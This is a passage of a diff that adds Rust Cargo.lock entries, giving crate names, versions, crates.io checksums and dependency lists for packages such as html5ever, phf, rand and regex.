+dependencies = [ + "atk-sys", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "libc", + "pango-sys", + "system-deps 6.2.0", +] + +[[package]] +name = "gtk3-macros" +version = "0.15.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "684c0456c086e8e7e9af73ec5b84e35938df394712054550e81558d21c44ab0d" +dependencies = [ + "anyhow", + "proc-macro-crate", + "proc-macro-error", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "hashbrown" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d621efb26863f0e9924c6ac577e8275e5e6b77455db64ffa6c65c904e9e132c" +dependencies = [ + "unicode-segmentation", +] + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" + +[[package]] +name = "hex" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" + +[[package]] +name = "html5ever" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7" +dependencies = [ + "log", + "mac", + "markup5ever", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.10", +] + +[[package]] +name = "http" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b32afd38673a8016f7c9ae69e5af41a58f81b1d31689040f2f1959594ce194ea" +dependencies = [ + "bytes", + "fnv", + "itoa 1.0.10", +] + +[[package]] +name = "http-range" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "iana-time-zone" +version = "0.1.59" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" +dependencies = [ + "android_system_properties", + "core-foundation-sys", + "iana-time-zone-haiku", + "js-sys", + "wasm-bindgen", + "windows-core", +] + +[[package]] +name = "iana-time-zone-haiku" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f31827a206f56af32e590ba56d5d2d085f558508192593743f16b2306495269f" +dependencies = [ + "cc", +] + +[[package]] +name = "ico" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3804960be0bb5e4edb1e1ad67afd321a9ecfd875c3e65c099468fd2717d7cae" +dependencies = [ + "byteorder", + "png", +] + +[[package]] +name = "ident_case" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "ignore" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b46810df39e66e925525d6e38ce1e7f6e1d208f72dc39757880fcb66e2c58af1" +dependencies = [ + "crossbeam-deque", + "globset", + "log", + "memchr", + "regex-automata 0.4.3", + "same-file", + "walkdir", + "winapi-util", +] + +[[package]] +name = "image" +version = "0.24.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" +dependencies = [ + "bytemuck", + "byteorder", + "color_quant", + "num-rational", + "num-traits", +] + +[[package]] +name = "indexmap" +version = "1.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd070e393353796e801d209ad339e89596eb4c8d430d18ede6a1cced8fafbd99" +dependencies = [ + "autocfg", + "hashbrown 0.12.3", + "serde", +] + +[[package]] +name = "indexmap" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +dependencies = [ + "equivalent", + "hashbrown 0.14.3", + "serde", +] + +[[package]] +name = "infer" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f551f8c3a39f68f986517db0d1759de85881894fdc7db798bd2a9df9cb04b7fc" +dependencies = [ + "cfb", +] + +[[package]] +name = "instant" +version = "0.1.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "itoa" +version = "0.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "javascriptcore-rs" +version = "0.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf053e7843f2812ff03ef5afe34bb9c06ffee120385caad4f6b9967fcd37d41c" +dependencies = [ + "bitflags 1.3.2", + "glib", + "javascriptcore-rs-sys", +] + +[[package]] +name = "javascriptcore-rs-sys" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "905fbb87419c5cde6e3269537e4ea7d46431f3008c5d057e915ef3f115e7793c" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 5.0.0", +] + +[[package]] +name = "jni" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "039022cdf4d7b1cf548d31f60ae783138e5fd42013f6271049d7df7afadef96c" +dependencies = [ + "cesu8", + "combine", + "jni-sys", + "log", + "thiserror", + "walkdir", +] + +[[package]] +name = "jni-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" + +[[package]] +name = "js-sys" +version = "0.3.66" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cee9c64da59eae3b50095c18d3e74f8b73c0b86d2792824ff01bbce68ba229ca" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "json-patch" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "55ff1e1486799e3f64129f8ccad108b38290df9cd7015cd31bed17239f0789d6" +dependencies = [ + "serde", + "serde_json", + "thiserror", + "treediff", +] + +[[package]] +name = "kuchikiki" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8" +dependencies = [ + "cssparser", + "html5ever", + "indexmap 1.9.3", + "matches", + "selectors", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "libc" +version = "0.2.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.1", + "libc", + "redox_syscall", +] + +[[package]] +name = "line-wrap" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f30344350a2a51da54c1d53be93fade8a237e545dbcc4bdbe635413f2117cab9" +dependencies = [ + "safemem", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4cd1a83af159aa67994778be9070f0ae1bd732942279cabb14f86f986a21456" + +[[package]] +name = "lock_api" +version = "0.4.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "loom" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "serde", + "serde_json", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "mac" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" + +[[package]] +name = "malloc_buf" +version = "0.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb907fe88d54d8d9ce32a3cceab4218ed2f6b7d35617cafe9adf84e43919cb" +dependencies = [ + "libc", +] + +[[package]] +name = "markup5ever" +version = "0.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016" +dependencies = [ + "log", + "phf 0.10.1", + "phf_codegen 0.10.0", + "string_cache", + "string_cache_codegen", + "tendril", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "matches" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", + "simd-adler32", +] + +[[package]] +name = "ndk" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2032c77e030ddee34a6787a64166008da93f6a352b629261d0fee232b8742dd4" +dependencies = [ + "bitflags 1.3.2", + "jni-sys", + "ndk-sys", + "num_enum", + "thiserror", +] + +[[package]] +name = "ndk-context" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b" + +[[package]] +name = "ndk-sys" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e5a6ae77c8ee183dcbbba6150e2e6b9f3f4196a7666c02a715a95692ec1fa97" +dependencies = [ + "jni-sys", +] + +[[package]] +name = "new_debug_unreachable" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" + +[[package]] +name = "nodrop" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72ef4a56884ca558e5ddb05a1d1e7e1bfd9a68d9ed024c21704cc98872dae1bb" + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num-integer" +version = "0.1.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" +dependencies = [ + "autocfg", + "num-traits", +] + +[[package]] +name = "num-rational" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" +dependencies = [ + "autocfg", + "num-integer", + "num-traits", +] + +[[package]] +name = "num-traits" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "num_enum" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f646caf906c20226733ed5b1374287eb97e3c2a5c227ce668c1f2ce20ae57c9" +dependencies = [ + "num_enum_derive", +] + +[[package]] +name = "num_enum_derive" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcbff9bc912032c62bf65ef1d5aea88983b420f4f839db1e9b0c281a25c9c799" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "objc" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915b1b472bc21c53464d6c8461c9d3af805ba1ef837e1cac254428f4a77177b1" +dependencies = [ + "malloc_buf", + "objc_exception", +] + +[[package]] +name = "objc-foundation" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1add1b659e36c9607c7aab864a76c7a4c2760cd0cd2e120f3fb8b952c7e22bf9" +dependencies = [ + "block", + "objc", + "objc_id", +] + +[[package]] +name = "objc_exception" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad970fb455818ad6cba4c122ad012fae53ae8b4795f86378bce65e4f6bab2ca4" +dependencies = [ + "cc", +] + +[[package]] +name = "objc_id" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c92d4ddb4bd7b50d730c215ff871754d0da6b2178849f8a2a2ab69712d0c073b" +dependencies = [ + "objc", +] + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "open" +version = "3.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2078c0039e6a54a0c42c28faa984e115fb4c2d5bf2208f77d1961002df8576f8" +dependencies = [ + "pathdiff", + "windows-sys 0.42.0", +] + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pango" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22e4045548659aee5313bde6c582b0d83a627b7904dd20dc2d9ef0895d414e4f" +dependencies = [ + "bitflags 1.3.2", + "glib", + "libc", + "once_cell", + "pango-sys", +] + +[[package]] +name = "pango-sys" +version = "0.15.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2a00081cde4661982ed91d80ef437c20eacaf6aa1a5962c0279ae194662c3aa" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps 6.2.0", +] + +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.5", +] + +[[package]] +name = "pathdiff" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8835116a5c179084a830efb3adc117ab007512b535bc1a21c991d3b32a6b44dd" + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "phf" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3dfb61232e34fcb633f43d12c58f83c1df82962dcdfa565a4e866ffc17dafe12" +dependencies = [ + "phf_macros 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" +dependencies = [ + "phf_shared 0.10.0", +] + +[[package]] +name = "phf" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +dependencies = [ + "phf_macros 0.11.2", + "phf_shared 0.11.2", +] + +[[package]] +name = "phf_codegen" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbffee61585b0411840d3ece935cce9cb6321f01c45477d30066498cd5e1a815" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", +] + +[[package]] +name = "phf_codegen" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", +] + +[[package]] +name = "phf_generator" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17367f0cc86f2d25802b2c26ee58a7b23faeccf78a396094c13dced0d0182526" +dependencies = [ + "phf_shared 0.8.0", + "rand 0.7.3", +] + +[[package]] +name = "phf_generator" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d5285893bb5eb82e6aaf5d59ee909a06a16737a8970984dd7746ba9283498d6" +dependencies = [ + "phf_shared 0.10.0", + "rand 0.8.5", +] + +[[package]] +name = "phf_generator" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +dependencies = [ + "phf_shared 0.11.2", + "rand 0.8.5", +] + +[[package]] +name = "phf_macros" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f6fde18ff429ffc8fe78e2bf7f8b7a5a5a6e2a8b58bc5a9ac69198bbda9189c" +dependencies = [ + "phf_generator 0.8.0", + "phf_shared 0.8.0", + "proc-macro-hack", + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "phf_macros" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" +dependencies = [ + "phf_generator 0.11.2", + "phf_shared 0.11.2", + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "phf_shared" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c00cf8b9eafe68dde5e9eaa2cef8ee84a9336a47d566ec55ca16589633b65af7" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6796ad771acdc0123d2a88dc428b5e38ef24456743ddb1744ed628f9815c096" +dependencies = [ + "siphasher", +] + +[[package]] +name = "phf_shared" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" +dependencies = [ + "siphasher", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "pkg-config" +version = "0.3.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69d3587f8a9e599cc7ec2c00e331f71c4e69a5f9a4b8a6efd5b07466b9736f9a" + +[[package]] +name = "plist" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5699cc8a63d1aa2b1ee8e12b9ad70ac790d65788cd36101fa37f87ea46c4cef" +dependencies = [ + "base64 0.21.6", + "indexmap 2.1.0", + "line-wrap", + "quick-xml", + "serde", + "time", +] + +[[package]] +name = "png" +version = "0.17.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64" +dependencies = [ + "bitflags 1.3.2", + "crc32fast", + "fdeflate", + "flate2", + "miniz_oxide", +] + +[[package]] +name = "portpicker" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be97d76faf1bfab666e1375477b23fde79eccf0276e9b63b92a39d676a889ba9" +dependencies = [ + "rand 0.8.5", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + +[[package]] +name = "proc-macro-crate" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" +dependencies = [ + "once_cell", + "toml_edit 0.19.15", +] + +[[package]] +name = "proc-macro-error" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" +dependencies = [ + "proc-macro-error-attr", + "proc-macro2", + "quote", + "syn 1.0.109", + "version_check", +] + +[[package]] +name = "proc-macro-error-attr" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" +dependencies = [ + "proc-macro2", + "quote", + "version_check", +] + +[[package]] +name = "proc-macro-hack" +version = "0.5.20+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" + +[[package]] +name = "proc-macro2" +version = "1.0.76" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95fc56cda0b5c3325f5fbbd7ff9fda9e02bb00bb3dac51252d2f1bfa1cb8cc8c" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quick-xml" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" +dependencies = [ + "memchr", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" +dependencies = [ + "getrandom 0.1.16", + "libc", + "rand_chacha 0.2.2", + "rand_core 0.5.1", + "rand_hc", + "rand_pcg", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" +dependencies = [ + "ppv-lite86", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_core" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" +dependencies = [ + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.12", +] + +[[package]] +name = "rand_hc" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "rand_pcg" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "16abd0c1b639e9eb4d7c50c0b8100b0d0f849be2349829c740fe8e6eb4816429" +dependencies = [ + "rand_core 0.5.1", +] + +[[package]] +name = "raw-window-handle" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2ff9a1f06a88b01621b7ae906ef0211290d1c8a168a15542486a8f61c0833b9" + +[[package]] +name = "redox_syscall" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "redox_users" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" +dependencies = [ + "getrandom 0.2.12", + "libredox", + "thiserror", +] + +[[package]] +name = "regex" +version = "1.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "380b951a9c5e80ddfd6136919eef32310721aa4aacd4889a8d39124b026ab343" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.3", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f804c7828047e88b2d32e2d7fe5a105da8ee3264f01902f796c8e067dc2483f" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 